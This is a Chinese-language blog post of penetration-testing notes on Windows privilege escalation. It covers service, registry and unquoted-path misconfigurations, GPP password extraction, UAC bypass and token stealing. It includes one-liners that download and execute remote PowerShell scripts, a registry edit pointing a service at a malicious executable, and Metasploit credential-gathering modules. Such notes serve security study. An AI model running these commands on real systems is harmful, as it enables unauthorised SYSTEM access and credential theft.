Windows Privilege Escalation
提权前先基本信息收集:
系统版本、漏洞补丁、杀软防护、当前权限、系统配置、系统的服务等
查看系统进程:tasklist /svc(杀软防护软件检查)
系统漏洞提权
思路:查看系统补丁信息,若有系统内核漏洞,但没打补丁就可以尝试找exp
查找补丁情况
#看windows版本
ver
#windows命令查看补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
#powershell的sherlock脚本
#需要kali下载对应脚本:git clone https://github.com/rasta-mouse/Sherlock.git,在反弹的shell里执行命令:
Import-Module C:\Sherlock.ps1
Find-AllVulns
#Empire内置模块 Empire框架页有内核提权的方法
usemoudle privesc/powerup/allchecks
execute
查看补丁信息后,查看exp
一些OSINT
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
...........
系统配置错误
错误权限配置
windows系统服务开机就会启动,在后台调用可执行文件
因为配置错误,导致低权限用户对相应的可执行文件可写,从而写入恶意可执行文件替换原服务可执行文件,从而劫持服务,系统服务又是以system权限运行,故而低权限可提权到system
#使用powerup
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
#powershell远程加载powerup
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
#msf自动提权
#msf 对应的模块为exploit/windows/local/service_permissions 但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system
#手动查找服务启动路径中写权限
icacls "C:\Program Files"
icacls "C:\Program Files\Commom Files"
#查看指定目录权限配置
accesschk.exe -dqv "D:\test" -accepteula
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名 #查看可以完全控制的服务的属性。
windows文件权限标识:
F
:完全控制,包括读取、写入、修改和删除文件或目录,以及更改 ACL 和所有属性。M
:修改,包括读取、写入、修改和删除文件或目录,但不能更改 ACL。RX
:读取和执行,包括读取和执行文件,但不能修改或删除文件或目录。R
:只读,只能读取文件或目录,不能修改、删除或执行。W
:写入,可以写入到文件或目录,但不能读取、执行或删除它们。D
:删除,允许删除文件或目录。S
:同步,允许对文件或目录进行同步访问。XA
:管理审计和安全日志。- CI:从属容器将继承访问控制项
- OI:从属文件将继承访问控制项
可信任服务路径漏洞
一个服务可执行文件路径没有双引号且包含空格,则可能可以利用
机器会以空格为分割,依次找对应的可执行文件
比如:C:\Program Files\Some Folder\Service.exe
则寻找次序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
把恶意exe文件,命名为Program.exe放在c盘下,则重启服务就会执行恶意exe文件
查找有服务路径漏洞的方式:
#wmi查找
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#powerup脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
利用方式:
#msf攻击模块
exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f
#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下
然后重启服务
sc stop service_name
sc start service_name
不安全注册表权限配置
在windows中,服务信息存在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
中
服务的程序路径存储在:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath
如果对于这个键值有写权限,则可以控制服务,运行恶意程序,提高权限
检查服务注册表是否有写权限
#微软的工具
https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display
利用:
#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
启用注册表键AlwaysInstallElevated
AlwaysInstallElevated是一个策略设置项,如果设置此项,任何用户可以以NT AUTHORITY\SYSTEM权限来安装MSI文件
windows允许低权限用户以System权限运行安装文件。
组策略首选项提权
windows server 2008引入组策略首选项,该功能使得管理员可以部署影响域中的计算机/用户特定配置
SYSVOL介绍
这是一个共享文件夹,所有认证用户都可以读取
SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据
所有组策略存储位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
新建的组策略会有一个xml文件,这个文件存储在SYSVOL目录,xml文件里面有密码
GPP
GPP是一个组策略扩展,它允许管理员在组策略中配置各种偏好设置,gpp可以批量配置,从而高效管理
一般域环境中的机器一般都是脚本批量部署,为了方便,管理员会使用组策略进行配置和管理。管理员为了安全会修改管理员密码,如果通过组策略修改密码,那么攻击者拿到一台机器管理员密码,就相当于所有机器管理员密码
通过gpp新建的组策略会有一个xml文件,这个文件存储在SYSVOL目录,xml文件里面有组策略密码,组策略密码是加密的
在Windows server 2012及以后的版本中,微软就抛弃了gpp。
利用方式:
#msf得到一个meterpreter shell后
#使用模块获取加密的密码
run post/windows/gather/credentials/gpp
#powersploit的Get-GPPPassword模块
#三种方式
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
#Empire框架
usemodule privesc/gpp
#kali破解组策略密码
gpp-decrypt
bypassUAC提权
UAC是一种安全功能,防止未授权的修改,它目的是确认你的行为是否授权(比如你的windows安装一些软件,会弹出窗口问你是否允许xxx修改计算机)
在你进行一些影响计算机运行或者影响其他用户的操作时,它会要求你输入管理员密码
会被UAC要求授权的行为
配置Windows Update
增加、删除账户;更改账户类型
更改UAC的设置
安装ActiveX;安装、卸载程序
安装设备驱动程序
将文件移动/复制到ProgramFiles或Windows目录下
查看其它用户的文件夹
绕过UAC思路:
白名单劫持(利用白名单程序是该程序以系统权限启动且不用通知用户,只要我们找到相关程序劫持它,此时只要程序启动,也会带着我们的程序以系统权限启动。)
DLL 劫持
Windows 自身漏洞提权
远程注入
COM 接口技术
令牌窃取
令牌(tocken)用于标识用户,它使得用户不用提供密码或者其他凭据就可以登录、访问系统资源,它就像是用户密码一般的存在。
令牌种类:
访问令牌:可以交互式登录,如远程桌面
模拟令牌:非交互式会话,如下载共享文件
拿到SHELL后,显示令牌只能显示比当前用户权限低的用户令牌
meterpreter shell的令牌窃取模块:incognito
标签:exe,windows,提权,组策略,https,权限 From: https://www.cnblogs.com/q1stop/p/17903162.html